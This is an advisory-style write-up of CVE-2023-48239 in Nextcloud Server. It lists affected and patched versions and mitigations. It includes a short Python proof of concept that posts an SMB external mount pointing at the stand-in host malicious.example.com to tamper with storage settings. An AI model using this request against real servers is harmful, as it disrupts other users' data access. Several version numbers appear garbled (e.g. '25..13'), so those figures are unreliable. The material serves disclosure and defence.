CVE-2023-48239 - Critical Vulnerability in Nextcloud Server Allows External Storage Tampering

Nextcloud Server is a critical component of the Nextcloud ecosystem, an open-source cloud platform that enables users to store and manage their data. A security vulnerability (CVE-2023-48239) has been discovered in certain versions of Nextcloud Server and Nextcloud Enterprise Server. This vulnerability allows an attacker to update personal or global external storage settings, rendering them inaccessible for all other users.

Let's explore more about this vulnerability and its potential impact, along with the affected versions, how to mitigate the risks, and related links to original references.

Nextcloud Server: Starting in version 25.. and prior to versions 25..13, 26..8, and 27.1.3

- Nextcloud Enterprise Server: Starting in version 20.. and prior to versions 20..14.16, 21..9.13, 22.2.10.15, 23..12.12, 24..12.8, 25..13, 26..8, and 27.1.3

Exploit Details

An attacker could exploit this vulnerability by updating the external storage configurations for any user, affecting both personal and global settings. This tampering could disrupt the normal operation of the affected Nextcloud Server instance, including data access and sharing.

The following code snippet illustrates a sample request that an attacker could manipulate to exploit this vulnerability:

import requests

url = "https://nextcloud.example.com/apps/files_external/usermounts";
headers = {"Content-Type": "application/x-www-form-urlencoded"}
data = "mountPoint=%2FExploit&mountType=smb&host=malicious.example.com&root=&share=exploit"

response = requests.post(url, headers=headers, data=data)

if response.status_code == 200:
    print("Storage tampered successfully.")
else:
    print("Failed to tamper storage.")

This simple Python script sends a request to the target Nextcloud Server, attempting to update the external storage settings with an attacker-controlled configuration. Successful exploitation results in the affected storage becoming inaccessible.

Mitigation Measures

Nextcloud provides the following patched versions for Nextcloud Server and Nextcloud Enterprise Server to address this critical security issue:

Nextcloud Server: 25..13, 26..8, and 27.1.3

- Nextcloud Enterprise Server: 20..14.16, 21..9.13, 22.2.10.15, 23..12.12, 24..12.8, 25..13, 26..8, and 27.1.3

Upgrading to these patched versions will secure the affected systems from this vulnerability.

As an alternative, server administrators can disable the files_external app as a workaround. This method effectively disables external storage access but retains existing configurations until a patched version is deployed.

To disable the app, use the following command

occ app:disable files_external

Original References

- Nextcloud Official Release Notes
- Nextcloud Server Security Advisory
- CVE-2023-48239 Details

Conclusion

CVE-2023-48239 exposes a critical vulnerability in Nextcloud Server and Nextcloud Enterprise Server, allowing an attacker to tamper with external storage configurations and negatively affect data access. Users are advised to upgrade to the latest patched versions or implement the recommended workaround to mitigate risks and maintain the security of their Nextcloud instances.

Timeline

Published on: 11/21/2023 21:15:08 UTC
Last modified on: 11/29/2023 02:32:23 UTC